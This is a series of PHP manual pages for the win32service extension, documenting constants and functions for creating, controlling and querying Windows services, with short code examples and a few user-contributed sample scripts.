There are no user contributed notes for this page.


Win32Service Service Type Bitmasks

  • ? 预定义常量
  • Win32Service Service Status Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Type Bitmasks
Win32Service Service Type Bitmasks
Constant | Value | Description
WIN32_SERVICE_WIN32_OWN_PROCESS | 0x00000010 | The service runs in its own process.
WIN32_SERVICE_INTERACTIVE_PROCESS | 0x00000100 | The service can interact with the desktop. This option is not available on Windows Vista or later.
WIN32_SERVICE_WIN32_OWN_PROCESS_INTERACTIVE | 0x00000110 | The service runs in its own process and can interact with the desktop. This option is not available on Windows Vista or later.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Status Constants

  • ? Win32Service Service Type Bitmasks
  • Win32Service Service Control Message Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Status Constants
Win32Service Service Status Constants
Constant | Value | Description
WIN32_SERVICE_CONTINUE_PENDING | 0x00000005 | The service continue is pending.
WIN32_SERVICE_PAUSE_PENDING | 0x00000006 | The service pause is pending.
WIN32_SERVICE_PAUSED | 0x00000007 | The service is paused.
WIN32_SERVICE_RUNNING | 0x00000004 | The service is running.
WIN32_SERVICE_START_PENDING | 0x00000002 | The service is starting.
WIN32_SERVICE_STOP_PENDING | 0x00000003 | The service is stopping.
WIN32_SERVICE_STOPPED | 0x00000001 | The service is not running.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Control Message Constants

  • ? Win32Service Service Status Constants
  • Win32Service Service Control Message Accepted Bitmasks ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Control Message Constants
Win32Service Service Control Message Constants
Constant | Value | Description
WIN32_SERVICE_CONTROL_CONTINUE | 0x00000003 | Notifies a paused service that it should resume.
WIN32_SERVICE_CONTROL_DEVICEEVENT | 0x0000000B |
WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE | 0x0000000C |
WIN32_SERVICE_CONTROL_INTERROGATE | 0x00000004 | Notifies a service that it should report its current status information to the service control manager.
WIN32_SERVICE_CONTROL_NETBINDADD | 0x00000007 | Notifies a network service that there is a new component for binding.
WIN32_SERVICE_CONTROL_NETBINDDISABLE | 0x0000000A | Notifies a network service that one of its bindings has been disabled.
WIN32_SERVICE_CONTROL_NETBINDENABLE | 0x00000009 | Notifies a network service that a disabled binding has been enabled.
WIN32_SERVICE_CONTROL_NETBINDREMOVE | 0x00000008 | Notifies a network service that a component for binding has been removed.
WIN32_SERVICE_CONTROL_PARAMCHANGE | 0x00000006 | Notifies a service that its startup parameters have changed.
WIN32_SERVICE_CONTROL_PAUSE | 0x00000002 | Notifies a service that it should pause.
WIN32_SERVICE_CONTROL_POWEREVENT | 0x0000000D |
WIN32_SERVICE_CONTROL_PRESHUTDOWN | 0x0000000F | Notifies a service that the system will be shutting down. A service that handles this notification blocks system shutdown until the service stops or the preshutdown time-out interval expires. This value is not supported by Windows Server 2003 and Windows XP/2000.
WIN32_SERVICE_CONTROL_SESSIONCHANGE | 0x0000000E |
WIN32_SERVICE_CONTROL_SHUTDOWN | 0x00000005 | Notifies a service that the system is shutting down so the service can perform cleanup tasks. If a service accepts this control code, it must stop after it performs its cleanup tasks. After the SCM sends this control code, it will not send other control codes to the service.
WIN32_SERVICE_CONTROL_STOP | 0x00000001 | Notifies a service that it should stop.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Control Message Accepted Bitmasks

  • ? Win32Service Service Control Message Constants
  • Win32Service Service Start Type Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Control Message Accepted Bitmasks
Win32Service Service Control Message Accepted Bitmasks
Constant | Value | Description
WIN32_SERVICE_ACCEPT_HARDWAREPROFILECHANGE | 0x00000020 | The service is notified when the computer's hardware profile has changed. This enables the system to send WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE notifications to the service.
WIN32_SERVICE_ACCEPT_NETBINDCHANGE | 0x00000010 | The service is a network component that can accept changes in its binding without being stopped and restarted. This control code allows the service to receive WIN32_SERVICE_CONTROL_NETBINDADD, WIN32_SERVICE_CONTROL_NETBINDREMOVE, WIN32_SERVICE_CONTROL_NETBINDENABLE, and WIN32_SERVICE_CONTROL_NETBINDDISABLE notifications.
WIN32_SERVICE_ACCEPT_PARAMCHANGE | 0x00000008 | The service can reread its startup parameters without being stopped and restarted. This control code allows the service to receive WIN32_SERVICE_CONTROL_PARAMCHANGE notifications.
WIN32_SERVICE_ACCEPT_PAUSE_CONTINUE | 0x00000002 | The service can be paused and continued. This control code allows the service to receive WIN32_SERVICE_CONTROL_PAUSE and WIN32_SERVICE_CONTROL_CONTINUE notifications.
WIN32_SERVICE_ACCEPT_POWEREVENT | 0x00000040 | The service is notified when the computer's power status has changed. This enables the system to send WIN32_SERVICE_CONTROL_POWEREVENT notifications to the service.
WIN32_SERVICE_ACCEPT_PRESHUTDOWN | 0x00000100 | The service can perform preshutdown tasks. This control code enables the service to receive WIN32_SERVICE_CONTROL_PRESHUTDOWN notifications. This value is not supported by Windows Server 2003 and Windows XP/2000.
WIN32_SERVICE_ACCEPT_SESSIONCHANGE | 0x00000080 | The service is notified when the computer's session status has changed. This enables the system to send WIN32_SERVICE_CONTROL_SESSIONCHANGE notifications to the service. Windows 2000: This value is not supported
WIN32_SERVICE_ACCEPT_SHUTDOWN | 0x00000004 | The service is notified when system shutdown occurs. This control code allows the service to receive WIN32_SERVICE_CONTROL_SHUTDOWN notifications.
WIN32_SERVICE_ACCEPT_STOP | 0x00000001 | The service can be stopped. This control code allows the service to receive WIN32_SERVICE_CONTROL_STOP notifications.
WIN32_SERVICE_ACCEPT_TIMECHANGE | 0x00000200 | The service is notified when the system time has changed. This enables the system to send WIN32_SERVICE_CONTROL_TIMECHANGE notifications to the service. Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP/2000: This control code is not supported.
WIN32_SERVICE_ACCEPT_TRIGGEREVENT | 0x00000400 | The service is notified when an event for which the service has registered occurs. This enables the system to send WIN32_SERVICE_CONTROL_TRIGGEREVENT notifications to the service. Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP/2000: This control code is not supported.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Start Type Constants

  • ? Win32Service Service Control Message Accepted Bitmasks
  • Win32Service Service Error Control Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Start Type Constants
Win32Service Service Start Type Constants
Constant | Value | Description
WIN32_SERVICE_BOOT_START | 0x00000000 | A device driver started by the system loader. This value is valid only for driver services.
WIN32_SERVICE_SYSTEM_START | 0x00000001 | A device driver started by the IoInitSystem function. This value is valid only for driver services.
WIN32_SERVICE_AUTO_START | 0x00000002 | A service started automatically by the service control manager during system startup.
WIN32_SERVICE_DEMAND_START | 0x00000003 | A service started by the service control manager when a process calls the StartService function.
WIN32_SERVICE_DISABLED | 0x00000004 | A service that cannot be started. Attempts to start the service result in the error code WIN32_ERROR_SERVICE_DISABLED.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Error Control Constants

  • ? Win32Service Service Start Type Constants
  • Win32Service Service Flag Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Error Control Constants
Win32Service Service Error Control Constants
Constant | Value | Description
WIN32_SERVICE_ERROR_IGNORE | 0x00000000 | The startup program ignores the error and continues the startup operation.
WIN32_SERVICE_ERROR_NORMAL | 0x00000001 | The startup program logs the error in the event log but continues the startup operation.
WIN32_SERVICE_ERROR_SEVERE | 0x00000002 | The startup program logs the error in the event log. If the last-known-good configuration is being started, the startup operation continues. Otherwise, the system is restarted with the last-known-good configuration.
WIN32_SERVICE_ERROR_CRITICAL | 0x00000003 | The startup program logs the error in the event log, if possible. If the last-known-good configuration is being started, the startup operation fails. Otherwise, the system is restarted with the last-known good configuration.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Flag Constants

  • ? Win32Service Service Error Control Constants
  • Win32 Error Codes ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Flag Constants
Win32Service Service Flag Constants
Constant | Value | Description
WIN32_SERVICE_RUNS_IN_SYSTEM_PROCESS | 0x00000001 | The service runs in a system process that must always be running.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Error Codes

  • ? Win32Service Service Flag Constants
  • Win32 Base Priority Classes ?
  • PHP Manual
  • 预定义常量
  • Win32 Error Codes
Win32 Error Codes
Constant | Value | Description
WIN32_ERROR_ACCESS_DENIED | 0x00000005 | The handle to the SCM database does not have the appropriate access rights.
WIN32_ERROR_CIRCULAR_DEPENDENCY | 0x00000423 | A circular service dependency was specified.
WIN32_ERROR_DATABASE_DOES_NOT_EXIST | 0x00000429 | The specified database does not exist.
WIN32_ERROR_DEPENDENT_SERVICES_RUNNING | 0x0000041B | The service cannot be stopped because other running services are dependent on it.
WIN32_ERROR_DUPLICATE_SERVICE_NAME | 0x00000436 | The display name already exists in the service control manager database either as a service name or as another display name.
WIN32_ERROR_FAILED_SERVICE_CONTROLLER_CONNECT | 0x00000427 | This error is returned if the program is being run as a console application rather than as a service. If the program will be run as a console application for debugging purposes, structure it such that service-specific code is not called.
WIN32_ERROR_INSUFFICIENT_BUFFER | 0x0000007A | The buffer is too small for the service status structure. Nothing was written to the structure.
WIN32_ERROR_INVALID_DATA | 0x0000000D | The specified service status structure is invalid.
WIN32_ERROR_INVALID_HANDLE | 0x00000006 | The handle to the specified service control manager database is invalid.
WIN32_ERROR_INVALID_LEVEL | 0x0000007C | The InfoLevel parameter contains an unsupported value.
WIN32_ERROR_INVALID_NAME | 0x0000007B | The specified service name is invalid.
WIN32_ERROR_INVALID_PARAMETER | 0x00000057 | A parameter that was specified is invalid.
WIN32_ERROR_INVALID_SERVICE_ACCOUNT | 0x00000421 | The user account name specified in the user parameter does not exist. See win32_create_service().
WIN32_ERROR_INVALID_SERVICE_CONTROL | 0x0000041C | The requested control code is not valid, or it is unacceptable to the service.
WIN32_ERROR_PATH_NOT_FOUND | 0x00000003 | The service binary file could not be found.
WIN32_ERROR_SERVICE_ALREADY_RUNNING | 0x00000420 | An instance of the service is already running.
WIN32_ERROR_SERVICE_CANNOT_ACCEPT_CTRL | 0x00000425 | The requested control code cannot be sent to the service because the state of the service is WIN32_SERVICE_STOPPED, WIN32_SERVICE_START_PENDING, or WIN32_SERVICE_STOP_PENDING.
WIN32_ERROR_SERVICE_DATABASE_LOCKED | 0x0000041F | The database is locked.
WIN32_ERROR_SERVICE_DEPENDENCY_DELETED | 0x00000433 | The service depends on a service that does not exist or has been marked for deletion.
WIN32_ERROR_SERVICE_DEPENDENCY_FAIL | 0x0000042C | The service depends on another service that has failed to start.
WIN32_ERROR_SERVICE_DISABLED | 0x00000422 | The service has been disabled.
WIN32_ERROR_SERVICE_DOES_NOT_EXIST | 0x00000424 | The specified service does not exist as an installed service.
WIN32_ERROR_SERVICE_EXISTS | 0x00000431 | The specified service already exists in this database.
WIN32_ERROR_SERVICE_LOGON_FAILED | 0x0000042D | The service did not start due to a logon failure. This error occurs if the service is configured to run under an account that does not have the "Log on as a service" right.
WIN32_ERROR_SERVICE_MARKED_FOR_DELETE | 0x00000430 | The specified service has already been marked for deletion.
WIN32_ERROR_SERVICE_NO_THREAD | 0x0000041E | A thread could not be created for the service.
WIN32_ERROR_SERVICE_NOT_ACTIVE | 0x00000426 | The service has not been started.
WIN32_ERROR_SERVICE_REQUEST_TIMEOUT | 0x0000041D | The process for the service was started, but it did not call StartServiceCtrlDispatcher, or the thread that called StartServiceCtrlDispatcher may be blocked in a control handler function.
WIN32_ERROR_SHUTDOWN_IN_PROGRESS | 0x0000045B | The system is shutting down; this function cannot be called.
WIN32_ERROR_SERVICE_SPECIFIC_ERROR | 0x0000042A | The service has returned a service-specific error code.
WIN32_NO_ERROR | 0x00000000 | No error.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Base Priority Classes

  • ? Win32 Error Codes
  • Win32 Recovery action ?
  • PHP Manual
  • 预定义常量
  • Win32 Base Priority Classes
Win32 Base Priority Classes
Constant | Value | Description
WIN32_ABOVE_NORMAL_PRIORITY_CLASS | 0x00008000 | Process that has priority above WIN32_NORMAL_PRIORITY_CLASS but below WIN32_HIGH_PRIORITY_CLASS.
WIN32_BELOW_NORMAL_PRIORITY_CLASS | 0x00004000 | Process that has priority above WIN32_IDLE_PRIORITY_CLASS but below WIN32_NORMAL_PRIORITY_CLASS.
WIN32_HIGH_PRIORITY_CLASS | 0x00000080 | Process that performs time-critical tasks that must be executed immediately. The threads of the process preempt the threads of normal or idle priority class processes. An example is the Task List, which must respond quickly when called by the user, regardless of the load on the operating system. Use extreme care when using the high-priority class, because a high-priority class application can use nearly all available CPU time.
WIN32_IDLE_PRIORITY_CLASS | 0x00000040 | Process whose threads run only when the system is idle. The threads of the process are preempted by the threads of any process running in a higher priority class. An example is a screen saver. The idle-priority class is inherited by child processes.
WIN32_NORMAL_PRIORITY_CLASS | 0x00000020 | Process with no special scheduling needs.
WIN32_REALTIME_PRIORITY_CLASS | 0x00000100 | Process that has the highest possible priority. The threads of the process preempt the threads of all other processes, including operating system processes performing important tasks. For example, a real-time process that executes for more than a very brief interval can cause disk caches not to flush or cause the mouse to be unresponsive.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Recovery action

  • ? Win32 Base Priority Classes
  • Win32 Service informations ?
  • PHP Manual
  • 预定义常量
  • Win32 Recovery action
Win32 Recovery action
Constant | Value | Description
WIN32_SC_ACTION_NONE | 0x00000000 | No action.
WIN32_SC_ACTION_REBOOT | 0x00000001 | Restart the server.
WIN32_SC_ACTION_RESTART | 0x00000002 | Restart the service.
WIN32_SC_ACTION_RUN_COMMAND | 0x00000003 | Run a command.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Service informations

  • ? Win32 Recovery action
  • 范例 ?
  • PHP Manual
  • 预定义常量
  • Win32 Service informations
Win32 Service informations
Constant | Value | Description
WIN32_INFO_SERVICE | "service" |
WIN32_INFO_DISPLAY | "display" |
WIN32_INFO_USER | "user" |
WIN32_INFO_PASSWORD | "password" |
WIN32_INFO_PATH | "path" |
WIN32_INFO_PARAMS | "params" |
WIN32_INFO_DESCRIPTION | "description" |
WIN32_INFO_START_TYPE | "start_type" |
INFO_LOAD_ORDER | "load_order" |
INFO_SVC_TYPE | "svc_type" |
INFO_ERROR_CONTROL | "error_control" |
INFO_DELAYED_START | "delayed_start" |
INFO_BASE_PRIORITY | "base_priority" |
INFO_DEPENDENCIES | "dependencies" |
INFO_RECOVERY_DELAY | "recovery_delay" |
INFO_RECOVERY_ACTION_1 | "recovery_action_1" |
INFO_RECOVERY_ACTION_2 | "recovery_action_2" |
INFO_RECOVERY_ACTION_3 | "recovery_action_3" |
INFO_RECOVERY_RESET_PERIOD | "recovery_reset_period" |
INFO_RECOVERY_ENABLED | "recovery_enabled" |
INFO_RECOVERY_REBOOT_MSG | "recovery_reboot_msg" |
INFO_RECOVERY_COMMAND | "recovery_command" |

User Contributed Notes

There are no user contributed notes for this page.


范例

Example #1 Registering a PHP script to run as a service

<?php
win32_create_service(array(
    'service'     => 'dummyphp',                                           # the name of your service
    'display'     => 'sample dummy PHP service',                           # short description
    'description' => 'This is a dummy Windows service created using PHP.', # long description
    'params'      => '"' . __FILE__ . '"  run',                            # path to the script and parameters
));
?>

Example #2 Unregistering a service

<?php
win32_delete_service('dummyphp');
?>

Example #3 Running as a service

<?php
if ($argv[1] == 'run') {
  win32_start_service_ctrl_dispatcher('dummyphp');

  while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
    # do your work here.
    # try not to take up more than 30 seconds before going around the loop
    # again
  }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


win32service 函数

Table of Contents

  • win32_continue_service — Resumes a paused service
  • win32_create_service — Creates a new service entry in the SCM database
  • win32_delete_service — Deletes a service entry from the SCM database
  • win32_get_last_control_message — Returns the last control message that was sent to this service
  • win32_pause_service — Pauses a service
  • win32_query_service_status — Queries the status of a service
  • win32_send_custom_control — Send a custom control to the service
  • win32_set_service_exit_code — Define or return the exit code for the current running service
  • win32_set_service_exit_mode — Define or return the exit mode for the current running service
  • win32_set_service_status — Update the service status
  • win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name
  • win32_start_service — Starts a service
  • win32_stop_service — Stops a service

User Contributed Notes

brian dot ngure at gmail dot com 30-Apr-2010 03:03
An example of how it should be done:

<?php

class TestClass {
    private $args;

    function __construct($arg) {
        $this->args = $arg;
        $this->run();
    }

    private function run() {
        if ($this->args == 'run') {
            win32_start_service_ctrl_dispatcher('test_service');

            while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
                # do your work here.
                # try not to take up more than 30 seconds before going around the loop
                # again
            }
        }
    }
}

$object = new TestClass($argv[1]);

?>


Resumes a paused service

  • ? win32service 函数
  • win32_create_service ?
  • PHP Manual
  • win32service 函数
  • Resumes a paused service

win32_continue_service

(PECL win32service >=0.1.0)

win32_continue_service — Resumes a paused service

说明

win32_continue_service ( string $servicename [, string $machine ] ) : int

Resumes a paused, named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

更新日志

版本 | 说明
0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Creates a new service entry in the SCM database

  • ? win32_continue_service
  • win32_delete_service ?
  • PHP Manual
  • win32service 函数
  • Creates a new service entry in the SCM database

win32_create_service

(PECL win32service >=0.1.0)

win32_create_service — Creates a new service entry in the SCM database

说明

win32_create_service ( array $details [, string $machine ] ) : mixed

Attempts to add a service into the SCM database. Administrative privileges are required for this to succeed.

参数

details

An array of service details:

service

The short name of the service. This is the name that you will use to control the service using the net command. The service must be unique (no two services can share the same name), and, ideally, should avoid having spaces in the name.

display

The display name of the service. This is the name that you will see in the Services Applet.

description

The long description of the service. This is the description that you will see in the Services Applet.

user

The name of the user account under which you want the service to run. If omitted, the service will run as the LocalSystem account. If the username is specified, you must also provide a password.

password

The password that corresponds to the user.

path

The full path to the executable module that will be launched when the service is started. If omitted, the path to the current PHP process will be used.

params

Command line parameters to pass to the service when it starts. If you want to run a PHP script as the service, then the first parameter should be the full path to the PHP script that you intend to run. If the script name or path contains spaces, then wrap the full path to the PHP script with ".

load_order

Controls the load_order. This is not yet fully supported.

svc_type

Sets the service type. If omitted, the default value is WIN32_SERVICE_WIN32_OWN_PROCESS. Don't change this unless you know what you're doing.

start_type

Specifies how the service should be started. The default is WIN32_SERVICE_AUTO_START which means the service will be launched when the machine starts up.

error_control

Informs the SCM what it should do when it detects a problem with the service. The default is WIN32_SERVER_ERROR_IGNORE. Changing this value is not yet fully supported.

delayed_start

If delayed_start is set to TRUE, then this will inform the SCM that this service should be started after other auto-start services are started plus a short delay.

Any service can be marked as a delayed auto-start service; however, this setting has no effect unless the service's start_type is WIN32_SERVICE_AUTO_START.

This setting is only applicable on Windows Vista and Windows Server 2008 or greater.

base_priority

To reduce the impact on processor utilisation, it may be necessary to set a base priority lower than normal.

The base_priority can be set to one of the constants define in Win32 Base Priority Classes.

dependencies

To define the dependencies for your service, it may be necessary to set this parameter to the list of the services names in an array.

recovery_delay

This parameter defines the delay between the fail and the execution of recovery action. The value is in milliseconds.

The default value is 60000.

recovery_action_1

The action will be executed on first failure. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_1 can be set to one of the constants defined in Win32 Recovery action.

recovery_action_2

The action will be executed on second failure. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_2 can be set to one of the constants defined in Win32 Recovery action.

recovery_action_3

The action will be executed on next failures. The default value is WIN32_SC_ACTION_NONE.

The recovery_action_3 can be set to one of the constants defined in Win32 Recovery action.

recovery_reset_period

The failure count will be reset after the delay defined in the parameter. The delay is expirement in seconds.

The default value is 86400.

recovery_enabled

Set this parameter at TRUE to enable the recovery settings, FALSE to disable.

The default value is FALSE

recovery_reboot_msg

Set this parameter to define the message saved into the Windows Event Log before the reboot. Used only if one action is set to WIN32_SC_ACTION_REBOOT.

recovery_command

Set this parameter to define the command executed when one action is defined on WIN32_SC_ACTION_RUN_COMMAND.

machine

The optional machine name on which you want to create a service. If omitted, it will use the local machine.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

范例

Example #1 A win32_create_service() example

Create a service with the short name 'dummyphp'.

<?php
$x = win32_create_service(array(
    'service'     => 'dummyphp',                                           // the name of your service
    'display'     => 'sample dummy PHP service',                           // short description
    'description' => 'This is a dummy Windows service created using PHP.', // long description
    'params'      => '"' . __FILE__ . '"  run',                            // path to the script and parameters
));
debug_zval_dump($x);
?>

Example #2 A win32_create_service() example with dependencies

Create a service with the short name 'dummyphp' and dependencies.

<?php
$x = win32_create_service(array(
    'service'      => 'dummyphp',                                           // the name of your service
    'display'      => 'sample dummy PHP service',                           // short description
    'description'  => 'This is a dummy Windows service created using PHP.', // long description
    'params'       => '"' . __FILE__ . '"  run',                            // path to the script and parameters
    'dependencies' => array("Netman"),                                      // The list of the dependencies
));
debug_zval_dump($x);
?>

Example #3 A win32_create_service() example with recovery

Create a service with the short name 'dummyphp' and recovery settings.

<?php
$x = win32_create_service(array(
    'service'               => 'dummyphp',                                           // the name of your service
    'display'               => 'sample dummy PHP service',                           // short description
    'description'           => 'This is a dummy Windows service created using PHP.', // long description
    'params'                => '"' . __FILE__ . '"  run',                            // path to the script and parameters
    'recovery_delay'        => 120000,                                               // Recovery action is executed after 2 minutes
    'recovery_action_1'     => WIN32_SC_ACTION_RESTART,                              // On first failure, restart the service
    'recovery_action_2'     => WIN32_SC_ACTION_RUN_COMMAND,                          // On second failure, execute the commmand
    'recovery_action_3'     => WIN32_SC_ACTION_NONE,                                 // On other failure, do nothing
    'recovery_reset_period' => 86400,                                                // Reset the fail counter after 1 day
    'recovery_enabled'      => true,                                                 // Enable the recovery parameter
    'recovery_reboot_msg'   => null,                                                 // Do not define a reboot message, it's not needed here
    'recovery_command'      => "c:\clean-service.bat",                               // When the action is WIN32_SC_ACTION_RUN_COMMAND, execute this command
));
debug_zval_dump($x);
?>

更新日志

版本 | 说明
0.4.0 | The dependencies, recovery_delay, recovery_action_1, recovery_action_2, recovery_action_3, recovery_reset_period, recovery_enabled, recovery_reboot_msg and recovery_command parameters have been added.

参见

  • win32_delete_service() - Deletes a service entry from the SCM database
  • Win32 Base Priority Classes
  • Win32 Recovery action
  • Win32 Error Codes

User Contributed Notes

Anonymous 08-Oct-2010 10:05
[An example of how to create a Windows service.  Evaluate code first and use at your own risk!]

<?php

//No timeouts, Flush Content immediatly
    set_time_limit(0);
    ob_implicit_flush();

//Service Settings
    $phpPath = "D:\\php\\php5.2.9";
    $ServiceName = 'phpServiceName';
    $ServiceDisplay = 'phpDisplayName';

//Windows Service Control
    $ServiceAction = "status";
    //$ServiceAction = "debug";
    if ( isset($_GET['ServiceAction']) and strlen($_GET['ServiceAction']) ) {
        $ServiceAction = addslashes($_GET['ServiceAction']);
    } else if ( isset($argv) and isset($argv[1]) and strlen($argv[1]) ) {
        $ServiceAction = $argv[1];
    }
    if( $ServiceAction == "status" ) {
        $ServiceStatus = win32_query_service_status($ServiceName);
        if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOPPED ) {
            echo "Service Stopped\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_START_PENDING ) {
            echo "Service Start Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_STOP_PENDING ) {
            echo "Service Stop Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_RUNNING ) {
            echo "Service Running\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_CONTINUE_PENDING ) {
            echo "Service Continue Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSE_PENDING ) {
            echo "Service Pause Pending\n\n";
        } else if ( $ServiceStatus['CurrentState'] == WIN32_SERVICE_PAUSED ) {
            echo "Service Paused\n\n";
        } else{
            echo "Service Unknown\n\n";
        }
      exit;
    } else if ( $ServiceAction == "install" ) {
    //Install Windows Service
        win32_create_service( Array(
            'service' => $ServiceName,
            'display' => $ServiceDisplay,
            'params' => __FILE__ . " run",
            'path' => $phpPath."\\php.exe",
        ));
        echo "Service Installed\n\n";
        exit;
    } else if ( $ServiceAction == "uninstall" ) {
    //Remove Windows Service
        win32_delete_service($ServiceName);
        echo "Service Removed\n\n";
        exit;
    } else if( $ServiceAction == "start") {
    //Start Windows Service
      win32_start_service($ServiceName);
      echo "Service Started\n\n";
      exit;
    } else if( $ServiceAction == "stop" ) {
    //Stop Windows Service
      win32_stop_service($ServiceName);
      echo "Service Stopped\n\n";
      exit;
    } else if ( $ServiceAction == "run" ) {
    //Run Windows Service
        win32_start_service_ctrl_dispatcher($ServiceName);
        win32_set_service_status(WIN32_SERVICE_RUNNING);
    } else if ( $ServiceAction == "debug" ) {
    //Debug Windows Service
        set_time_limit(10);
    } else {
        exit();
    }

//Server Loop
    while (1) {
    //Handle Windows Service Request
        usleep(100*1000);
        if ( $ServiceAction == "run" ) {
            switch ( win32_get_last_control_message() ) {
                case WIN32_SERVICE_CONTROL_CONTINUE:
                    break;
                case WIN32_SERVICE_CONTROL_INTERROGATE:
                    win32_set_service_status(WIN32_NO_ERROR);
                break;
                case WIN32_SERVICE_CONTROL_STOP:
                    win32_set_service_status(WIN32_SERVICE_STOPPED);
                    exit;
                default:
                    win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED);
            }
        }
    //User Loop
        sleep(1);
        echo "\n<BR>YOUR CODE HERE";
    }

//Exit
    if ( $ServiceAction == "run" ) {
        win32_set_service_status(WIN32_SERVICE_STOPPED);
    }
    exit();
?>
pauljamesthomson at gmail dot com 22-Jan-2007 04:54
Other start_type values:

0x00000002: A service started automatically by the service control manager during system startup. For more information, see Automatically Starting Services.

0x00000000: A device driver started by the system loader. This value is valid only for driver services.

0x00000003: A service started by the service control manager when a process calls the win32_start_service() function.

0x00000004: A service that cannot be started. Attempts to start the service result in the error code

0x00000001: A device driver started by the IoInitSystem function. This value is valid only for driver services.

I can confirm that 0x00000003 works as expected (service is created, but must be started manually).

More here:

http://msdn2.microsoft.com/en-us/library/ms682450.aspx


Deletes a service entry from the SCM database

  • ? win32_create_service
  • win32_get_last_control_message ?
  • PHP Manual
  • win32service 函数
  • Deletes a service entry from the SCM database

win32_delete_service

(PECL win32service >=0.1.0)

win32_delete_service — Deletes a service entry from the SCM database

说明

win32_delete_service ( string $servicename [, string $machine ] ) : mixed

Attempts to delete a service from the SCM database. Administrative privileges are required for this to succeed.

This function really just marks the service for deletion. If other processes (such as the Services Applet) are open, then the deletion will be deferred until those applications are closed. If a service is marked for deletion, further attempts to delete it will fail, and attempts to create a new service with that name will also fail.

参数

servicename

The short name of the service.

machine

The optional machine name. If omitted, the local machine will be used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

范例

Example #1 A win32_delete_service() example

Deletes the dummyphp service.

<?php
win32_delete_service('dummyphp');
?>

参见

  • win32_create_service() - Creates a new service entry in the SCM database
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Returns the last control message that was sent to this service

  • ? win32_delete_service
  • win32_pause_service ?
  • PHP Manual
  • win32service 函数
  • Returns the last control message that was sent to this service

win32_get_last_control_message

(PECL win32service >=0.1.0)

win32_get_last_control_message — Returns the last control message that was sent to this service

说明

win32_get_last_control_message ( void ) : int

Returns the control code that was last sent to this service process. When running as a service you should periodically check this to determine if your service needs to stop running.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

返回值

Returns a control constant which will be one of the Win32Service Service Control Message Constants: WIN32_SERVICE_CONTROL_CONTINUE, WIN32_SERVICE_CONTROL_INTERROGATE, WIN32_SERVICE_CONTROL_PAUSE, WIN32_SERVICE_CONTROL_PRESHUTDOWN, WIN32_SERVICE_CONTROL_SHUTDOWN, WIN32_SERVICE_CONTROL_STOP.

错误／异常

If SAPI is not "cli", this function emits an E_ERROR level error.

更新日志

版本 | 说明
0.2.0 | This function works only in the "cli" SAPI.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32Service Service Control Message Constants

User Contributed Notes

There are no user contributed notes for this page.


Pauses a service

  • ? win32_get_last_control_message
  • win32_query_service_status ?
  • PHP Manual
  • win32service 函数
  • Pauses a service

win32_pause_service

(PECL win32service >=0.1.0)

win32_pause_service — Pauses a service

说明

win32_pause_service ( string $servicename [, string $machine ] ) : int

Pauses a named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

更新日志

版本 | 说明
0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Queries the status of a service

  • ? win32_pause_service
  • win32_send_custom_control ?
  • PHP Manual
  • win32service 函数
  • Queries the status of a service

